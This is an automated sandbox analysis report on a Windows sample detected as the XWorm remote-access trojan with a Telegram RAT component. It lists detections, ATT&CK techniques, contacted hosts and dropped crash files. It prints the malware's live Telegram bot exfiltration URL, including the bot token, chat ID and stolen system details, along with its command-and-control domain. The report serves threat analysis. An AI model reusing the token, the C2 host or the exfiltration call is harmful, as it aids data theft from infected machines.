Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6552, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6552, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 5.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25c5d8c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.25bbaac.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 Input Capture	1 Query Registry	Remote Services	1 Input Capture	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	141 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	13 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	45%	ReversingLabs
SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://upx.sf.net	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://api.telegram.org/bot7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q/sendMessage?chat_id=985088883&text=%E2%98%A0%20%5BXWorm%20V5.4%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AA0FB38C6050D4C23DA87%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20BSY776%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.4	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameP	0%	Avira URL Cloud	safe
various-wages.gl.at.ply.gg	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
various-wages.gl.at.ply.gg	147.185.221.22	true	true		unknown
api.telegram.org	149.154.167.220	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q/sendMessage?chat_id=985088883&text=%E2%98%A0%20%5BXWorm%20V5.4%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AA0FB38C6050D4C23DA87%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20BSY776%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.4	true	Avira URL Cloud: safe	unknown
various-wages.gl.at.ply.gg	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.13.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameP	SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3597124997.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe, 00000005.00000002.3597124997.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	true
147.185.221.22	various-wages.gl.at.ply.gg	United States		12087	SALSGIVERUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518076
Start date and time:	2024-09-25 11:30:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/11@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 55 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Simulations

Behavior and APIs

Time	Type	Description
05:31:02	API Interceptor	3401367x Sleep call for process: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe modified
05:31:04	API Interceptor	13x Sleep call for process: powershell.exe modified
05:33:34	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	rPO_CW00402902400438.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rPEDIDO-M456.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Inquiry List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	MCB_09252024.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	TT copy for SO-2409-032.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PI-96328635,PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	BANK PAYMENT COPY.doc	Get hash	malicious	XWorm	Browse
	https://www.slovago.sk/webtemp/Swiss-kunden/	Get hash	malicious	HTMLPhisher	Browse
	http://www.thailand-villas.com/img/destinations/tw/	Get hash	malicious	Unknown	Browse
	r8x1WvSkbWSUjXh6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
147.185.221.22	BANK PAYMENT COPY.doc	Get hash	malicious	XWorm	Browse
	jQ2ryeS5ZP.exe	Get hash	malicious	PureCrypter, Revenge, CyberGate, DCRat, GuLoader, Njrat, PureLog Stealer	Browse
	AutoWizard.exe	Get hash	malicious	Quasar	Browse
	dsadsadsadsadsadsaw.exe	Get hash	malicious	Quasar	Browse
	killerdude.exe	Get hash	malicious	Quasar	Browse
	XyjvIO6D4m.exe	Get hash	malicious	XWorm	Browse
	vtCneOrnat.exe	Get hash	malicious	XWorm	Browse
	jbG3cpmy.exe	Get hash	malicious	XWorm	Browse
	client.exe	Get hash	malicious	Quasar	Browse
	file.exe	Get hash	malicious	XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
various-wages.gl.at.ply.gg	BANK PAYMENT COPY.doc	Get hash	malicious	XWorm	Browse	147.185.221.22
api.telegram.org	rPO_CW00402902400438.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rPEDIDO-M456.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Zoom_Invite.call-660194855683.wsf	Get hash	malicious	XWorm	Browse	149.154.167.220
	reported_account_violation-pdf-67223451.wsf	Get hash	malicious	XWorm	Browse	149.154.167.220
	Inquiry List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MCB_09252024.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TT copy for SO-2409-032.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PI-96328635,PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	BANK PAYMENT COPY.doc	Get hash	malicious	XWorm	Browse	149.154.167.220
	https://www.slovago.sk/webtemp/Swiss-kunden/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	rPO_CW00402902400438.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rPEDIDO-M456.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Inquiry List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MCB_09252024.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TT copy for SO-2409-032.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PI-96328635,PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	BANK PAYMENT COPY.doc	Get hash	malicious	XWorm	Browse	149.154.167.220
	http://zip.lu/?redirect=3k7wI	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://vhm5d5.shop/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://lender-abang.pages.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
SALSGIVERUS	3EtS1ncqvJ.exe	Get hash	malicious	Njrat	Browse	147.185.221.19
	hfKx2T5IfT.exe	Get hash	malicious	Njrat	Browse	147.185.221.19
	BANK PAYMENT COPY.doc	Get hash	malicious	XWorm	Browse	147.185.221.22
	It8DXmSFEk.exe	Get hash	malicious	Njrat	Browse	147.185.221.19
	6Mt223MA25.exe	Get hash	malicious	ArrowRAT	Browse	147.185.221.18
	IWsK3V2Ul9.exe	Get hash	malicious	ArrowRAT	Browse	147.185.221.17
	SecuriteInfo.com.FileRepMalware.32767.25187.exe	Get hash	malicious	Unknown	Browse	147.185.221.20
	SecuriteInfo.com.Trojan.Siggen29.35475.19245.6407.exe	Get hash	malicious	SheetRat	Browse	147.185.221.17
	jQ2ryeS5ZP.exe	Get hash	malicious	PureCrypter, Revenge, CyberGate, DCRat, GuLoader, Njrat, PureLog Stealer	Browse	147.185.221.22
	AutoWizard.exe	Get hash	malicious	Quasar	Browse	147.185.221.22

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://app.pipefy.com/public/phase_redirect/f86fa292-1317-4dc5-8112-3af168025951?origin=email	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	rPO_CW00402902400438.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://docs.google.com/drawings/d/1Dvdk477POfuN_FWT5xAcbUon_2qhv7627e0t5q44TO8/preview?pli=1	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	rPEDIDO-M456.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rMT103SwiftCopyoFPayment.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	MailAttachment.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Meeting-037-911.one	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	117532123_20240925-9_MCZB#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	New_Document-660128863990.wsf	Get hash	malicious	Unknown	Browse	149.154.167.220
	New_Document-660119928827.wsf	Get hash	malicious	Unknown	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_VINQMAKI52OQ5DSR_ac49a6e8e43cdf6b966cd8165e24dd382453b1_3ff4ead9_b9b6324b-4ad3-4219-8fac-93424fd68963\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3659243392962481
Encrypted:	false
SSDEEP:	192:ZSIMDn0PPDQ+0BU/6a6THyORpsMzuiFZZ24IO8jU:od0PPDCBU/6aWSGsMzuiFZY4IO8j
MD5:	0BB70F8C7BE268DFC77C90D10B4908D1
SHA1:	2B78331E35287F30A1280A649A9A511E450B9664
SHA-256:	94529A6B3DB481F04C6FD0EBCDC17590A755A6FD1922D6CC232B3D5F92E4D8DB
SHA-512:	C0CBCA9D27E8B5B7CE84ED3633BCC8C0F7077FBA79341003DD828E1B49F93DB729A55DC676D689C7C25A36EC893B15156EDF95A00A69F5E19B274F0BAE4625AF
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.3.0.3.9.9.8.5.3.2.5.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.7.3.0.4.0.1.2.1.2.6.4.3.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.9.b.6.3.2.4.b.-.4.a.d.3.-.4.2.1.9.-.8.f.a.c.-.9.3.4.2.4.f.d.6.8.9.6.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.b.b.1.6.2.9.3.-.d.1.0.1.-.4.8.9.d.-.9.8.1.2.-.6.4.7.1.8.1.9.1.f.7.3.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...W.i.n.3.2...M.a.l.w.a.r.e.X.-.g.e.n...5.1.1.1...2.1.1.4.3...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.f.S.g.G...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.9.8.-.0.0.0.1.-.0.0.1.4.-.6.c.e.a.-.b.0.a.3.2.d.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.0.8.3.1.a.2.4.a.9.d.5.2.a.3.a.9.a.4.d.d.6.7.0.5.7.c.7.4.5.0.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.8.5.c.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A57.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 09:33:20 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	416255
Entropy (8bit):	3.59525432359997
Encrypted:	false
SSDEEP:	3072:xv8I1MGc4uEq6y6iS//4LTga1khRrADOQWCky+C5uPqJTf5gjNZ7Cg6tPxx:xr1MGc4Ty6iS//uTgm9Dd9gyVuZh6d
MD5:	4E7FF0032DDF37998487F38368449FFB
SHA1:	2DCEA72E35314B6B64C439E32ED0AEE148EAE4C1
SHA-256:	0D110C6E2019C80A03AA81EF626052291FB1F80184136C4B0423D0E5EC780A76
SHA-512:	B3FA436D8EA0E09B92DBBB01FF55092094B00843F1F75569FBF00A86F6F46FDCA9797C43B034BCC02B8F26E734100A44AA2A0D8042AA81E11BB576D5EDA75503
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........f.........................(..........<....3.......3..0~..........`.......8...........T............l../............4...........5..............................................................................eJ.......6......GenuineIntel............T...........W..f....7........................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7EDD.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6502
Entropy (8bit):	3.7312266623534045
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbGN6TufOYZNvQE/nHi65aM4Uf89bi/sfVx2m:R6l7wVeJGN6TeOYZ1lprf89bi/sfVx2m
MD5:	6D52D795DF7038F28C85309F3E9D4687
SHA1:	CD990976DF4FA312A85C258C9F5C2F6AEFFDF48A
SHA-256:	2B28631682506907A5CAA4346C06B0A5024585B37A4B194FCB4121E02EDDA504
SHA-512:	028C786FA1D8240347AF15FCD5AC10CC90D646272F8D180E1F81B73025E74C0AF59D34AE4AB35AA472D60EFC033F0B5A9CBF2A6681A8D34C4117176F0B72CB8B
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7F0C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4879
Entropy (8bit):	4.555105221405162
Encrypted:	false
